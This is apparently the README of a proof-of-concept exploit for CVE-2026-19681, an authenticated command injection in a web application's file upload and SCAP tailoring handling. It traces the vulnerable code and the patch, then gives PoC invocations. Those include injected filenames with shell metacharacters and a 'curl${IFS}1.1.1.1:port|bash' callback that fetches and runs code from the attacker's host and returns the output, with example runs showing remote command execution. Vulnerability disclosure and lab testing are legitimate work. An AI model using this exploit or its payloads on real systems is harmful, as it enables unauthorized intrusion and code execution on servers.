CVE-2026-19681 — command injection in file upload processing (authenticated)

Status: CONFIRMED on a 6.7.2-14.el9 lab (2026-08-20). Staged filename p;sleep${IFS}20;-EvvfJk via POST /rest/file/upload (context prefix carries the metachars), then POST /rest/auditFile (type=scapLinux, version=1.2) stalled exactly 20.1s and returned error 106 ("Error adding Tailoring file to SCAP zip file") — the normal post-injection error path. Execution happens inside the zip -9Tj shell command as the web service user. (Patched in 6.9.0 per the RPM diff; the vuln is present in at least 6.7.2–6.8.x.)

Vulnerability

Two-step chain, both under attacker control:

1. Filename control — POST /rest/file stores uploads via Filesystem::saveTmp() (FilesystemLib.php:587), which builds the on-disk name from the raw client context parameter: tempnam($tmpDir, "$userID.$token." . $context . "-"). Unknown contexts skip all content validation (the Files.php NOTICE calls this "wide open since SC 4.x") but are still stored — so shell metacharacters (;, $(), backticks) persist in the staged filename.

2. Injection sink — POST /rest/auditFile with type∈SCAP, version=1.2 enters the tailoring branch (AuditFiles.php:163): $scapZipFile = $tmpDir . $params['filename'] (fully client-controlled) → AuditFileLib::addSCAPTailoringFile() line 2304: $tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — basename() strips / but not shell metacharacters — then unescaped in exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc").

A second, same-class sink: Files.php:360 exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/") in extractFile().

Patch (6.9.0)

escapeshellarg($tmpZipFile) in both zip commands; Utility::execSafe() (argv-form proc_open + -- separator) replaces the unzip string exec; filename validation added in AuditFiles::applySCAPTailoringFile() (that's CVE-2026-19679).

PoC

# blind timing check (sleep in the context prefix; no '/' needed)
./poc.py --target https://sc.lab --username analyst --password 'pass' --check

# run a command with output capture: the PoC serves the script over HTTP, injects a
# short curl|bash callback, and prints the POSTed-back output. Target must be able to
# reach this machine (same L2 in the lab).
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami

# verbatim injection (no callback) — payload must fit ~47 chars
./poc.py --target https://sc.lab --username analyst --password 'pass' \
         --cmd 'touch${IFS}/tmp/pwned' --no-exfil

Notes:

• upload resource is /rest/file/upload (multipart field Filedata, context form field) — discovered on the lab; other builds may differ, candidates probed.
• length budget: PHP tempnam() truncates the staged-name prefix — only ~50-55 chars of context survive (measured on the lab; the hex-bootstrap variant was chopped mid-payload). Short injections like p;sleep${IFS}20; fit; everything longer goes through the callback server.
• the auditFile body needs type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName (per AuditFiles::validateAdd); PARAM_FILENAME only rejects / and nonexistent files, so ;/${IFS} pass.
• the tailoring upload (context=tailoringFile) must contain parseable datastream XML with at least one Profile — a minimal one is embedded.

Lab-verify items (flagged in the script output if they fail):

• The embedded minimal tailoring XML must satisfy SCAPTailoringFileParser (>=1 profile); swap in a real SCAP tailoring datastream if rejected.
• The type string must match a member of AuditFileLib::$validSCAPTypes (scap expected).
• The exact auditFile body keys come from AuditFiles::validateAdd(); adjust if the POST returns a parameter error.

See also

• ../cve-2026-19679/ — the input-validation half of the same chain (filename sanitization), with a version-detection differential.

Example Runs

$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
[+] authenticated, token 20425636...
[*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-15xUAv'
[*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
tns

$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
[+] authenticated, token 20958963...
[*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-DQzq4v'
[*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
/opt/sc/www